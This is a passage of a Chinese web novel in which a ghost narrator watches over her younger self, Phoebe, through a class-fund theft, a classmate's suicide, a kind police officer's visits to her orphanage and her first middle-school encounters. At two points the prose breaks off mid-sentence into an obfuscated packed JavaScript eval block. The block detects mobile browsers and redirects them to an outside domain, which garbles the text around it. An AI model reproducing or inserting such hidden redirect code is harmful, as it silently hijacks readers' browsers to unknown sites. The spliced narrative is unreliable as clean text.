全班同学窸窸窣窣地写起了最近犯过的错误，并且严防死守地杜绝同桌偷看他们的秘密纸条。我的灵魂飘来飘去光明正大地四处查看他们的纸条，他们犯的错误自然有大有小，也有人不诚实的编谎话。 有的男孩儿被爸爸打骂过后，就拿爸爸的牙刷刷马桶，连累了妈妈亲马桶嘴；有的女生考试作弊，偷看别人的答案；有的学生吃不完饭偷偷倒掉浪费，还把不吃的肥肉丢进奶奶碗里；有的三好学生觉得自己近期没有犯过错，非要说一件犯错的事，那就是考试粗心大意被多扣了两分；有的孩子说脏话骂了爸爸是猪头，因为爸爸嘲笑他瘦得跟干枯的竹节虫一样，他才反击爸爸胖得跟被杀的猪一样…… 至于西伯利亚和小菲比的错误是，西伯利亚和爷爷吵架倒掉了一碗爷爷最爱的土豆，然后他被爷爷绑在椅子上强迫他吃下垃圾桶里捡回来的土豆，以及最讨厌的香椿和香菜，已经得到了惩罚。小菲比所认为的错误就是偷跑出福利院，影响了福利院的工作人员和孩子们，最后连累了刘逞美转学，这事老师知道。 全班学生的错误各种各样，有的搞笑，有的让人生气，有的没什么大不了，就是没人写偷东西的事，就算有人真的偷了其他东西也不敢写出来，生怕被冤枉偷班费。 下午的第一节语文课，班主任和副班主任依次一边收纸条，一边查看答案，完全没有看到任何一张写了偷班费的纸条。于是全班同学都不能下课，只能待在案发现场，如果中途有人想上厕所，便派出几个班干部互相监视，防止小偷把钱丢到厕所里去。 浪费了第一节语文课，赵老师有些不耐心了，对小偷的不自觉也感到失望，但她又会自言自语，是不是孩子犯错以后太害怕了呢？她该不该继续查下去？ 两个班主任在课间一起商量了一会儿，认为必须得查下去，坚持得揪出小偷，令犯错的学生得到惩罚，不能纵容学生，得纠正这件事。 第二节语文课开始响铃以后，上厕所的学生都逐渐归位了。现在班主任准备搜查全班同学，同学们都得走到外面的阳台上排好队伍，依次进行搜身检查。 班主任和班长搜查走廊上的全班学生，先搜完班干部们，副班主任则可以领着几个班干部互相监督着搜教室，致力于找到证据。 我的灵魂本来也在帮忙找小偷，前面都没发现什么异样，直到真正的小偷慌了就近把几百块钱，动作很轻地悄悄放到了小菲比的衣帽里，我立刻用意念再把钱神不知鬼不觉地移动到了——小偷同学靠窗的桌子里。 副班主任亲自从贺彦贞的课桌里翻到了几百块，人赃并获。贺彦贞同学震惊了，他不可置信，还忍不住翻了一下小菲比的衣帽，小菲比觉得莫名其妙的同时，生怕对方放钱在她身上，然后离小偷同学远远的，并连忙检查了一下浑身上下。而贺彦贞疑心自己出了幻觉，在最近偷钱的高压力之下，神志不清了。 不过就算人赃并获，贺彦贞的演技精彩绝伦，他锥心刺骨地哭喊，死不承认自己偷钱的事情，并嚷嚷偷钱不藏起来，怎么会随便放进课桌里被人检查呢？ 百思不得其解的贺彦贞贼喊捉贼，对天发誓说不是他把钱偷到课桌里的，如果他撒谎就遭天打雷劈，全家都死掉，下十八层地狱。他本来就没敢把钱放在课桌里，只敢藏在身上以不变应万变。他撒了一个巧妙的谎言。 而且贺彦贞甚至冤枉小菲比说，是她污蔑了他，他看见是小菲比偷钱放在他的桌子里栽赃他。这急得小菲比第一次在教室用那么大的声音澄清：“你休想冤枉我，我没有!我也可以发誓，如果我偷了钱，我马上就死掉!” 为班费操心的班长向贺彦贞发问：“如果你看见了李菲比把钱偷放在你的桌子里，你为什么不马上抓住她呢？这只能证明你是漏洞百出的小偷!自证得此地无银三百两。” 贺彦贞同学仍然一把鼻涕一把泪地痛哭道：“因为我害怕啊，李菲比就是小偷，是她冤枉我!是她……” 同学们窃窃私语，开始讨论贺彦贞是不是真的偷钱了，他们该相信谁比较好呢？喜欢贺彦贞的同学主张他是被冤枉的，其他大部分同学都站在小菲比和班长这一边。 愤怒的西伯利亚冲上去和贺彦贞扭打了起来，并吼着骂了很多脏话：“我草泥马，你爸的说谁是小偷呢？!有娘生没爹养的屁都不是的玩意!你屁/眼子被树杈干过了说胡话？你敢污蔑小菲菲我看你是不想活了!我把我的零花钱全给她，她看都不看一眼，叫我自己好好用，她还会偷班费污蔑你？简直无稽之谈!我替你祖宗十八代教训你……” “你妈偷人浸猪笼死了!你爸被奸夫砍死了!没爹没妈的孩子吃土豆!你们全家都死了!你们……”贺彦贞也胡言乱语地骂起脏话还击西伯利亚，小菲比最恨别人冤枉她偷东西，她昔日没少被冤枉，她更恨小偷同学诅咒别人的父母以及骂他们没爹没妈，她涨红了脸气冲冲地跑上去一起揍人了。 我的灵魂也趁机教训了小偷同学，从中浑水摸鱼地殴打他，顺便护着小菲比和西伯利亚。 班主任带头阻止互相疯狂打骂的孩子们，副班主任和其他同学也都上来帮忙分开了他们，最后贺彦贞被老师和班干部们按在了桌子上冷静。 青筋暴起的贺彦贞始终死不承认偷东西的事，他哭得口水直流，撕心裂肺地叫骂不停，还声称要找学校外面的混子打死大家，他们全部冤枉他一个人。连班主任和副班主任都有些信了这孩子的演技，他的反应太激烈了，不是很寻常。可是他的此地无银三百两也很明显…… 既然找到了班费，班主任也不确定小偷到底是谁，看样子，她本想大事化小小事化了。只不过我的灵魂实在看不惯这态度恶劣的孩子，事情败露以后，他的做派简直像反社会人格。我从来没有尝试过附身这种事，于是我集中意念试了试，费劲九牛二虎之力上了小偷同学的身体，甚至操控他最终当众承认罪行，一五一十把怎么偷钱和栽赃别人的过程讲了出来。当然我的说法是，他在检查逼近的时候压力大出现幻觉，以为把钱拿走放到了小菲比的衣帽里，没想到班费被他遗忘在了课桌里…… 众人哗然，皆感愤愤不平。 我发现我附身到别人身上后，能看到别人脑海里的很多记忆。这个孩子的父母也有偷别人东西的习惯，他们一家人甚至组团盗窃，原来是有什么样的父母就有什么样的孩子。他们的性质和满秋不同，满秋基本只偷食物是为了活下去，他们是为了得到更多的利益。我附身不久被贺彦贞挣扎的灵魂弹了出去，灵魂也变得虚弱起来，于是我靠到了小菲比身上滋养灵魂。 贺彦贞被我附身的时候能感觉到自己的身体做了什么，完全控制不住地说了什么，他里外不是人，不知该如何是好，就低头沉默了下去。班主任见他公开承认了罪行，安排他赎罪做班级服务，也想请家长谈谈贺彦贞的问题。 班主任算是惹到了老贼窝，贺彦贞回到家里说了这件事以后，他挨了一顿毒打，父母不是担心孩子变坏，而是生气他连偷个班费都偷不好，将来还能做什么呢？ 家长不想孩子暴露偷东西的行为，他们来到学校没有带孩子认错，反而大闹一通，如出一辙地不承认此事。但人证物证俱在，家长只能状告班主任进行搜查的行为是违法的，完全侵犯了孩子的人格尊严和隐私，学校和老师没有搜查学生的权利，而且他们觉得班主任纵容其他同学虐待孩子，威胁着还想找律师起诉赵老师呢! 此事惊动了学校领导，领导层出面，赵老师被迫低头向小偷家族道歉，并引咎辞职辞去了班主任一职，反正做班主任事多钱少，她并不遗憾不做班主任了，唯一的遗憾是不能再管理她付出许多心血的班级。 学校安排熟悉四班的英语老师从副转正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630355|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带班，其他任课老师做副班主任。 昔日班主任的做法被人见缝插针地找到了把柄，大家都为赵老师感觉不公平，他们纷纷写申请书上诉声称，他们是自愿配合老师找到小偷，可事情似乎已成定局。 赵老师在班级里最后谈话道歉说，她擅自领头搜查全班同学是侵犯了同学们的尊严和隐私，头脑发热地做出了违法行为，是她处理事情不周，证明她作为班主任不够成熟，没有保护好每个孩子该有的自尊心和隐私，她在此事中确实是法律意识淡薄了，也冲动了。人的一生中一时多少犯错都是有的，老师在这次的事情中也违法犯了错，只要不是太犯原则问题，还是可以给人改过自新的机会。她保证，以后会成长进步用其他方法处理这类事情，希望既保护了学生们的隐私，又能教育犯错的学生改过自新。她甚至劝大家不要太怪犯错的贺彦贞同学，给他一次机会吧。大家以后都可以从他和老师的身上学会教训，学会在处理事情的同时能保护自己和他人。吃一蛰长一智，老师也不是没有长进，不管经历什么，她至少能吸取教训，不会跌倒在同一个坑里…… 我不能容忍这样的结果，赵老师的做法虽然疏忽了法律的规矩，但是她的初心是好的呀。最后我在小菲比身边养了一阵灵魂以后，附身到了小偷同学家的大人身上，操控他们去警察局自首，一五一十交代了过去所有的罪行。 附身的代价太大，我的灵魂变得十分脆弱，很长一段时间里无法再使用意念力量。我见过其他灵魂也附身到别人的身上，他们却游刃有余没什么不适，为什么偏偏我是如此？因为我是一个来旧人间不久的新灵魂吗？对比其他存在了百年的老灵魂，我来此这几年并不算什么。 可喜可贺的是，贺彦贞同学的父母进局子不久，这事就传开了，学校在其他家长的压力下，为赵老师恢复了班主任的职位，毕竟快要到期末和毕业时期，家长们认为由原来的班主任带领同学们更好，正常家长们觉得赵老师挺不错的。 赵老师回到班级里重做班主任以后，她呼吁大家和贺彦贞同学和平相处，帮助他改正坏习惯，原谅他过去的错误，谁不会在年纪小的时候犯错呢？只要重新走回正道就好了。 自从贺彦贞同学做错事还态度恶劣，以及他的家长进局子被抓后，后来同学们都不想和一个小偷说话，更不愿意和他一起玩，算是集体孤立了他，连不忍见人落单的小菲比也没有向他伸出援手，她觉得贺彦贞可怜又可恨，他害得她最喜欢的赵老师差点儿当不了班主任，她亦十分痛恨对方。 这种痛恨没有坚持多久，最后化为了大家自我归因的愧疚。 同学们最多以为，贺彦贞会默默老实地度过剩下的时间，或者他受不了同学们的孤立以后，他只好求助家里的老人换个环境转学好了。毕竟他们看见他，就像看见一只肮脏的蟑螂老鼠。贬义的标签一旦贴上了，就很难再撕下来。 令所有人没有想到的是，贺彦贞最后在放学的路上跳河自杀了，他再也没有来学校，教室里再次空出了一个位置，他连死掉以后在人们眼中的最后印象都是小偷。他是做过小偷，但他也是一个不幸投胎到错误家庭的小灵魂，曾经的他是多么的崭新纯洁，他和他的父母更是我们这个社会的一份子。 贺彦真死了以后，他见到了我，才知道他的事情是怎么暴露的。他说他小时候也不愿意偷东西，知道是错误的行为，他指责过父母，可他们全部的指责压垮了他，说他端起碗吃饭放下碗骂娘……就这样慢慢地改变了他…… 一时想不开的贺彦贞死后才觉得他还可以活着改过自新啊，可以转学重新开始，可以等长大以后有能力赚钱了改变父母或者远离他们……他眼中暂时过不去的大事压垮了他…… 如今他后悔自杀也无济于事了，然后他说将来想去找一个干净的家庭，下辈子重新开始。他从来没有问过我是谁，只当我是一个路见不平的鬼魂，然后他头也不回地走了，先在人间进行赎罪，想要把当初与父母合伙偷来的东西以另一种方式还回去。他离去前说他想做和我一样的事，我问他，你不觉得是我和大家害死了你吗？ 人之已死其言也善，他摇摇头说，每个人都要为自己的行为买单，是他先犯了错，也没有及时珍惜第一次匿名改正的机会，更没有意识到这辈子的生命不可再来。他和所有人都不例外，他知道大家已经在为没有帮助到他而愧疚了，孩子们听到他跳河自杀的消息都哭了。他们的眼泪化作了雪花般的抚慰，飘来为他新生的灵魂护航，消逝的他也许会有新的灵生。 这个班级来来往往的同学和老师，足以使得小菲比和大菲比愁肠百结。 14. 糖果罐子 同学的逝去深深地打击到了小菲比，她开始质疑自己，她曾经做出的那些反抗举动是否过激？她是否成为了杀死骆驼的最后一根稻草。这次连大菲比也宽慰不了她，因为大菲比也在自责，我们觉得，是我们联手的举动彻底地害死了他，他可能会永远消失。 人死了以后能不能重新投胎是未可知的事情，我待在小菲比身边的这些年，接触了其他灵魂，他们都说好像没有重新投胎这回事，我们的灵魂最多在不同的世界晃荡一阵子或者许多年以后，大家就会彻底消失了，我们是意识的残余。解决消失的方法是灵魂得做好事，或者做其他能滋养自己修身养性的事，不论是在人间还是灵魂聚集的世界，别以为自己拥有永生的力量，所以我们要珍惜自己短暂而宝贵的人生和一去不复返的灵魂。 情绪低落的小菲比生病了，她看过医生以后依旧病了好几天，似乎一病不起，她浑身没劲地躺在大通铺里渴得要死，喉咙像火烧了一般想要喝水，可惜照顾她的人们一时又去忙其他事情了。我的意念力量在前两次附身以后暂时失效了，我的灵魂拿不到东西径直穿了过去，我想要附身帮她喝水，也失败了，我自从来到小菲比的身边从未如此挫败过。 在我和小菲比都恍惚之间，远处桌上的水壶自动到了一杯水，水杯缓缓移到了小菲比的嘴边，喂迷迷糊糊的她喝上了水。我警惕地观察四周，也想要寻找帮忙的灵魂或者其他什么东西，亲自感谢一番或者有所防备，可我什么都检查不到，也许是我现在的灵魂太脆弱，无法观察到别的灵魂。 我尝试附到小菲比的身上，想看看能不能缓解灵魂的虚弱，而我大多只能存在她的周围，无法侵入她的意识，除非她沉睡过去，所以我希望她多多睡觉。我和她的小身体合二为一时，她的病情似乎恶化了，我也被她的意识弹了出来，不敢再上小菲比的身了，我不能去消耗过去的自己，我的职责是保护她和现在的我。 在小菲比稍微好转的某日，彩虹儿童院里来了一位警察叔叔探望她和其他孩子，她的心情好受起来病情跟着好多了。这个人是上次处理小菲比出走事件的警察叔叔——许智斌，小菲比在墙上看到过他的信息和电话。 许叔叔携着很多物资来发给小朋友们，他还专门给小菲比带来了有效的药物、黄桃罐头和一大罐糖果。 等小菲比吃过发苦的药以后，许叔叔才开始喂她吃黄桃罐头，最后从糖果罐里取出一个荔枝味的棒棒糖递给孩子，他不忘告诫菲比在生病的期间不能多吃糖，等病好了以后再吃，吃太多糖不利于病情的恢复。许叔叔甚至从兜里搜出一只精密的金色怀表送给小菲比，为了逗她开心。 小菲比由热变凉的眼泪从眼角流到了眼尾，泪水打湿在枕头上，被泪沾湿的布料颜色变深了。她感动地与许叔叔进行互动，伸手一把抓住了金色怀表，随后警察叔叔就把怀表戴到了她的脖子上，并且拿起怀表打开给她看里面的照片，那是他的警察正照，他希望自己一身正气的照片能保佑到她。 小菲比特别中意警察的照片，这是她上次问过警察爸爸，能不能送给她一张他的警察照，没想到有心的叔叔居然把警察照有意思地放在了怀表里。许叔叔说，他儿子也有一个警察照怀表，不同的是，那个怀表里还有妈妈的照片。 而且这罐糖果是他儿子攒下来送给她的礼物，当他的儿子听说，他还要抽空去福利院看望那个叫李菲比的小朋友和其他孩子们，他的儿子就开始攒更多的糖果了。儿子说既然菲比妹妹也叫了他的爸爸是爸爸，那么他就送点见面礼给妹妹吧。并且警察叔叔的儿子希望菲比按照自己的心意，随缘分享糖果给其他孩子吃，也可以不分享，分享要按照自己的心意，就像他突然只想把糖果都分给小菲比吃，但他也没有忘记其他孩子。 许叔叔说他的儿子还把攒了好几年的零花钱和压岁钱交给他，嘱咐爸爸一起捐掉帮助大家，他真为有爱心的儿子感到欣慰和骄傲。正是从小菲比出走事件那会儿，许叔叔为儿子讲了这件事，他们才一起挂念起了福利院的孩子们。 小菲比咳嗽着问警察叔叔，太谢谢你们啦，可是哥哥怎么不亲自来呢？ 许叔叔如实回答，因为他的儿子双休日要学拳击和补课，没有空呢。不过他的儿子说了几句简单的话鼓励她和其他孩子，祝福他们天天开心，健康平安，否极泰来，遇到更多爱他们的人们。 自从小菲比上次的事件过后，这个警察叔叔来探望她好几次了，他每次都给孩子们带好吃的和好玩的东西，还问过他们想要什么？ 小菲比说她还想要警察爸爸一家人平平安安，阖家欢乐，幸福美满，一辈子都不分开。想要哥哥永远快乐地茁壮成长，然后成绩优秀，练出一身功夫，以后有和叔叔一样厉害的职业。她希望警察爸爸的妻子健康长寿，青春永驻，每天开心没有烦恼，等阿姨病好了也能拥有自己成熟的事业……这是她自己所能想到的最喜欢的祝福，她还祝福了他们家的爷爷奶奶和外公外婆呢。 警察叔叔动容于这个孩子的感恩之心，后来抽空了时不时都来探望她，有一次甚至从玩笑话里试探她的意愿：菲比啊，你想不想去爸爸家里看一看？想去见见哥哥吗？想去玩吗？或是在我家多住几天？ 小菲比说，爸爸，我想啊!我当然想!我做梦都想!我都不敢相信我能再去谁家做客看一眼!不敢想象我在别人家住的场景…… 那是他们这辈子最后的谈话，他没能守约，他失信于小菲比，说完那些引人幻想和憧憬的话，这一切戛然而止。 直到一个凉得发冷的秋天结束时，警察叔叔许智斌再也没有来过福利院。小菲比和其他孩子后来都问起过梅香院长和工作人员，那个警察叔叔怎么不来了呢？他是不是不喜欢我们啦？还是我们哪里做得不够好惹他生气了？是我们问他要的东西太多了吗？他不喜欢我们要东西的话，我们就不要了，我们很喜欢他陪我们玩的，玩老鹰捉小鸡，玩跳房子，玩警察抓贼……他身手不凡可利索了，警察就是不一样……不过他到底为什么不来啦？为什么……梅香妈妈打电话叫他来嘛，我们想他啦…… 梅香院长当时眼里含着泪光，目光闪烁地叹息着说，这个警察叔叔以前管的区域包含我们福利院，可惜现在他被调到了其他很远的区域去，管不了我们了，路途太远，他也不方便再来福利院了。听我说，我保证他不是故意的，他以前向我表达过，他非常热爱我们福利院里所有的孩子。你们不知道，他到底捐了多少钱给我们，他几乎把家里的存款都捐了一大半，还卖掉了车子。舍得为你们花钱的警察爸爸怎么会不喜欢你们呢？一个个别想太多了。他曾经说过，如果他有能力，是一位富翁的话，他想要领养所有的孩子，做大家名副其实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630356|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸，尤其是做菲比的爸爸，他发自内心喜欢菲比那个孩子，因为菲比初次的调皮捣蛋，他才能和福利院里的其他孩子结下善缘，这未尝不是一种因祸得福？他希望院里的孩子们迟早都有好的归宿，就算大家没有等到有血缘关系的家人和领养你们的父母，他也希望你们长大以后能够独当一面，得到属于自己的那份幸福，不管是理想也好，有口饭吃也好，还是组建新的家庭都好…… 大家听了梅香院长这番言辞恳切地话，就再也没有吵着问警察爸爸为什么不来的话了，本来还有些生闷气的孩子们也都不再生气他为什么不来啦。 只有小菲比为警察爸爸的彻底离去万分不舍得，有着痛苦的复杂情绪，她忍不住偷偷地哭了，她本来还以为警察爸爸以后有可能会领养她呢，不然他为什么会问出她想不想去他家里的话？毕竟连他家里的儿子都不排斥她，并且主动隔空送礼物给她，还称呼她是妹妹，总是送一罐糖果给她。 小菲比强烈的愿望破灭了，随着警察叔叔的调职，她感觉到她今生无法再见到他了。她也害怕往后记不住他的样子，怕自己忘掉他慈爱的模样，还好她有警察爸爸亲自送的金色怀表，上面有他一脸正气的小照片。 在往后的日子，每当她想念这位亲爱的警察爸爸了，她就会把金色怀表打开来，再看看他坚毅中透着笑容的模样，便也破碎伤心地露出一抹微笑，就好像他们穿过了时间相视而笑。 警察爸爸也教过小菲比做数学题，每次她做对了题目，他就会说出很多夸赞的话，奖励她吃零食……在他们学习的过程中，小菲比问过一句，这就像训小狗一样吧？ 他摇摇头失笑地说，他是把她当做他的女儿呀，他训儿子也是那么教的，这叫奖惩分明。 现在这个任务又回到了我自己的身上，我开始学习警察爸爸和刘逞美曾经教小菲比数学的方式，如故在梦境中教她，会用小菲比理解的方式讲得通俗易懂，也会不断地鼓励她……虽然她醒来以后会忘记很多内容，但是不学总比学了好。 在小菲比剩下的小学时光里，她总是不快乐，是那么的惆怅孤独，身边关系亲近的人们都渐渐离她而去。赵老师怀孕以后，怕学生冲撞到孕肚也回家养胎准备生孩子去了。 至少她还有西伯利亚，西伯利亚成天像一条小尾巴似的跟着她，在他们到高年级好不容易能集体去远些的动物园春游，他也自荐当保镖，调皮捣蛋地跟随小菲比左右。 在天使动物园，个子长高的西伯利亚拉来小菲比观赏负鼠一家人，他向她说道：我已经没有把你当做我的心上人了，听说爱情一旦久了，就变成了亲情，我把注意力放在你身上久了，我觉得我好像是把你当做了我的亲妹妹一样。 小菲比说，谢谢你所有的心意，我也是把你当哥哥一样。 她心想，六年级毕业以后，她向西伯利亚说出身世的话，等他的爸爸妈妈打工回来了，他能向他们申请领养她吗？她想做他真正的妹妹。 我说，他们不会如你所愿。 尽管她听不见我的话，她的内心也很清楚，西伯利亚的父母都顾不上他，怎么还会领养她这个仿佛多余的孩子呢？没有人能成功地领养她，她一直是在福利院长大的女孩子，她时而觉得自己充满了厄运，时而觉得自己身上有不幸与小幸运在交替，只有孤独的自己与她永久为伴。 15. 王罙 记忆是珍贵的，人类确实有很多事情忘得很快，我们再回首时恍如隔世，仿佛在看前辈子的记忆。 小菲比从小学顺利毕业以后，她慢慢长大了，不管是心理上还是身体上都有所成长，我的灵魂就不想再叫她小菲比啦，她已经没有那么小，不再像一个小团子，儿童逐渐成为了少女，我决定称呼过去上中学的那个我叫菲比。 犹记上中学的时候，我常在想，希望小时候不幸是因为长大后要遇到对的人，渐渐我在生命的最后时期遇到了那个人，她依旧是我自己。在我保护菲比的许多年里，我无数次地庆幸，始终是自己在守护着曾经弱小无助的她，我的灵魂一直在学习自爱。 菲比中学时期念的是寄宿学校，她觉得这和福利院也差不多，只是宿舍里的女生有八百个心眼子，她懒得理她们，与谁都保持着一段距离，大家反而不怎么当面来招惹她。她们发现了，谁惹到菲比，谁都会莫名其妙地倒霉起来。那都是我制造的杰作。 而且学校的女生宿舍和男生宿舍的大楼面对面，容易互相看得见两边的楼层里发生了什么，菲比觉得这一点很变态，她完全想不通学校是怎么想的，她才不想看见男生宿舍里发生了什么，而好些男生对女生宿舍里的场景很感兴趣。 女生宿舍对面的有些男生偶尔只穿一条内裤在走廊里溜达，有人甚至光着没发育起来的身体露鸟在阳台走来走去，他们就被女生们举报了。有的女生在宿舍洗澡时，他们则是趴在栏杆上面看向对面厕所的小窗口，有人居然还用望远镜瞄过来。女生们又向宿管员和老师投诉他们，他们的望远镜就被没收，还被体罚了。 菲比讨厌男女之间的宿舍安排得不够严谨，为此她写信向校长进行建议，然而那个秃头胖子忽略了匿名来信，从建校以来，男女宿舍一直混住同区域，学校习以为常。 菲比中学快毕业的那会儿，那个秃头校长在外□□的某次还被扫黄大队抓起来过。而他通常在学校进行演讲的话，会教育女生们校服裙子不得高过膝盖，男生不得在运动或者天热时脱掉上衣，男女同学之间更要保持距离，抓住谈恋爱的学生是必须处分的，小蜜蜂和花朵授粉的话那得开除…… 典型的只许州官放火，不许百姓点灯。不过校长至少不想祖国的花朵步他的后尘。 对了，菲比的宿舍里有个女生有严重梦游的毛病，她有时半夜起来发神把大家吓得大惊失色，有时半夜说梦话，熬夜的舍友也跟她搭话，没想到两个人莫名其妙地聊了起来。 还有一次，女生梦游到阳台上差点儿翻了出去，被失眠的菲比发现救了一命，后来学校里的老师建议女生做走读生，反正她家里离学校也不远。其实当时那个女生是真的翻出去了，是我用意念帮菲比一起将她拉了回来，如果没有我的灵魂，我不确定菲比能不能救她一命。 菲比入学没多久就适应了学校的环境，她困难地学习着苏菲医生当初传授给她的人生经验，就算她不交朋友了，她也没有回避太多平时和同学们的来往，以及偶尔还可能求助别人。她在空余之间，也不再躲在宿舍和教室大门不出二门不迈，她尝试没人陪伴也能主动踏一步出去走动闲逛，她时不时独自去散步，喜欢观察周围热闹的学生或者学校的风景。 很奇怪我的灵魂完全不怕阳光，这和人间对于鬼怪怕光的传说不同，太阳反而能滋养我的灵魂。我喜欢夏天，喜欢太阳暴晒着我、彩虹儿童院和学校，可以去除阴暗角落里的潮湿、冷意和霉味。 菲比夏天在校闲逛的次数最多，她喜欢去小树林的池塘附近观察那里的生态，就好像在欣赏微型的热带雨林。 我和菲比一起蹲在池塘边，平静地撑头看向水里如画的场景，水面倒映着我们的影子，魂影和人影里是长了绿苔的鹅卵石，下面是暗沉的沙砾和微生物，整体的画面很有意境。只有我看得见我们的身影，她现在完全只能看到她自己，似乎也已经遗忘了童年时各种奇妙的事情。 接着我们看见有个高高瘦瘦的男生路过此处，驻足停留，他莫名其妙地站在菲比的身后，看了看她的背影和水面的倒影，等我们同时转头去看向他，他却挪动脚步离去了，菲比看到的是他渐行渐远的身影，她觉得这个背影有点儿说不上来的眼熟，长大后的我也觉得眼熟。 我的灵魂飞奔过去看了看他的模样，完全不认识，我还以为这是我的小学同学呢，不过他长得不赖，现在的我认为看帅哥是一件趣事，菲比却处于不敢抬头多看男生一眼的阶段，她时而内向，时而外向，她也分不清自己到底是内向还是外向，也许是混合型的。 菲比看完风景慢悠悠地回班级的路上，有男同学看见她，便拍了拍她的肩膀，随口问她几点了。她打开脖子上的怀表看了一眼，告诉别人，快到午休的时间了。菲比在班级里没有人欺负，归功于这条怀表，警察爸爸果然保佑到了她。以前其他同学问她时间，她打开怀表以后，别人也凑上来看了看，就看到了警察叔叔的小照，他们下意识地问她，这是你的爸爸吗？ 菲比下意识承认这是她的爸爸。她本来就叫他爸爸。 所以大家传来传去都以为菲比的爸爸是警察，就没有人想过欺负她，谁敢往枪口上撞呢。当她意识到大家产生误会的时候，也不好解释，就默认了下去。 有同学问过，为什么你爸爸都不来接你？好想看看威武的警察叔叔。 菲比回答得很合理，她说爸爸很忙啊，顾不上她很正常。 在这所学校，老师的孩子反倒会被其他孩子欺负，他们也不向家里人诉说自己的情况。反倒是菲比用警察爸爸的照片狐假虎威地帮助了老师的孩子，要求别人不许欺负他们。菲比得出结论，有一个警察爸爸比做老师的孩子好使。 不知道是不是警察爸爸的关系，菲比的课桌里总是有人送吃的，不清楚别人是喜欢她，还是在讨好她，反正课桌里总是出现草莓味奶茶、烧仙草、糖果、饭团之类的小食，她一直不知道是谁送的，就默默地吃了，她不会跟粮食过不去，又找不到人还，别的同学也都说不知道是谁放在她桌子上的，他们每天早上一来，这些东西就摆好了。 同学们都八卦有人在追她，可是始终不见有人当面追她，大家就奇了怪。 我的灵魂追查到是某个走读生送来的东西，这个走读生不是菲比班级里的孩子，是其他班喜欢早来教室争第一的女孩子，我本想入她的梦问问她为什么这样做，可是她身上有保平安或者开过光之类的东西，霎时散发光芒把我挡开了。 有零食吃何乐而不为，菲比最大的瘾就是零食瘾，我怎么忍心剥夺自己的爱好。于是我没有告诉菲比，这些零食都是隔壁班女生送来的东西，我只是以另一种方式回馈那个女生，也默默隔着距离保护她。 我大胆地想了很多种可能，最大的可能是那个女生是拉拉，暗恋菲比呢。也有可能是对方听说了菲比的爸爸是警察，想着日后出了什么事情，看在默默送零食的份上，能找她帮忙。 菲比的中学时光，相对来说比较顺利。有一回实验性质的期中考试，她求助别人在考试时教她做题，使她考到了不错的成绩。 那次期中考试，学校安排高年级和低年级的学生混考，互相有一半的学生换教室，教室里竖着一排高年级学生，一排低年级学生。我从以前到现在都觉得学校这么安排太蠢了，就像女生和男生的宿舍面对面一样蠢。 菲比在考试中把大部分会的题目都做了，剩下来不会做的数学B卷难题，她趁监考老师没注意，拉了拉旁边学长的校服袖子，当他看过来以后，她就指了指数学题上空白的未解之谜。 我在旁边注意到这个学长不就是上次在池塘边看菲比背影的男生吗？我想去看他的名字，可惜他的卷子是背面那一页，我就懒得再看了，而且他胳膊撑在卷子上无意间压得比较紧，我对他使用意念好像失效了，我试了试，果然使唤不动他。自从我以前附身到别人身上过后，我的意念力量经常失灵，从这以后我再也不敢随意附身折损我的灵魂，除了我非常生气的时候，意念能被启动的概率很大。 高年级学长先把答案写好给她了，然后窃窃私语地教她做题，他大多是在草稿纸上写过程，偶尔嘴里用气息声蹦出几个字提点她。 菲比通常点点头回应他的指导，他们做完所有数学题目以后，终于相视一笑，我和菲比总感应到他的笑容也似曾相识。菲比的视线没敢在他脸上多停留一会儿，他反倒看了她好几秒，甚至在草稿纸上问了一句，你过得好吗？ 菲比觉得这像很久未见的朋友在问候她，她写下“还好”两个字，想了想，她也问了问他，你过得好吗？ 他看向窗外，嗓音略沉地说道，不好。 菲比悄声问，为什么呢？ 他不语，也不再写字。过了一会儿，他从回忆里回神，转头搜出裤兜里一片青柠味的口香糖递给她，她谢谢对方过后，便剥掉铝箔纸把口香糖偷偷地塞进了嘴里，小幅度地咀嚼了起来。 他再在草稿纸上写道，甜吗？还要吗？ 她客气地回，甜，很清香的味道。不了，口香糖嚼得嘴巴累。 最后他把草稿纸揉成一团，再次递给菲比的时候，里面包了其他的硬糖，她本想推拒，但他坚持送她，她只好再三感谢。 监考老师严肃地提醒收卷了，高个子学长终于翻过试卷，我也看见了他的名字，名字没那么好听，很简单平凡，叫王罙。菲比倒是没有看到他的名字，她在心里给他取的外号叫青柠学长，他的气质符合青柠口味。 大家交卷的期间，旁边其他的男生急着交卷出去玩，没注意撞到了菲比，青柠学长及时伸出手臂揽住了她的肩膀，护了她一下，提醒她站稳了。她耳根子都红了，他身上传来的清风淡香冷冽，很清爽，是香皂的气味。 我以前特别容易害羞，恋爱都没谈过多可惜，我龇牙咧嘴地看着过去的自己，把她往青柠学长身上推了一下，继续看热闹不嫌事大，我第一次做了自己过去不愿意做的事情，也时刻记得梅香妈妈说过不要被人太早骗去嫁人生小孩呢。 青柠学长愣了一下，明显感觉到她往他怀里靠了一下，又觉得是她没站稳，就没放在心上。反倒是菲比闹了个小红脸，她刚才一头闷到了他的校服上面，他肩膀的肌肉很扎实，她还把学长身上的清香味闻了个够。 各自交卷离开教室以前，青柠学长最后看了一眼菲比才离去，然后那小子居然扯嘴笑了一下。 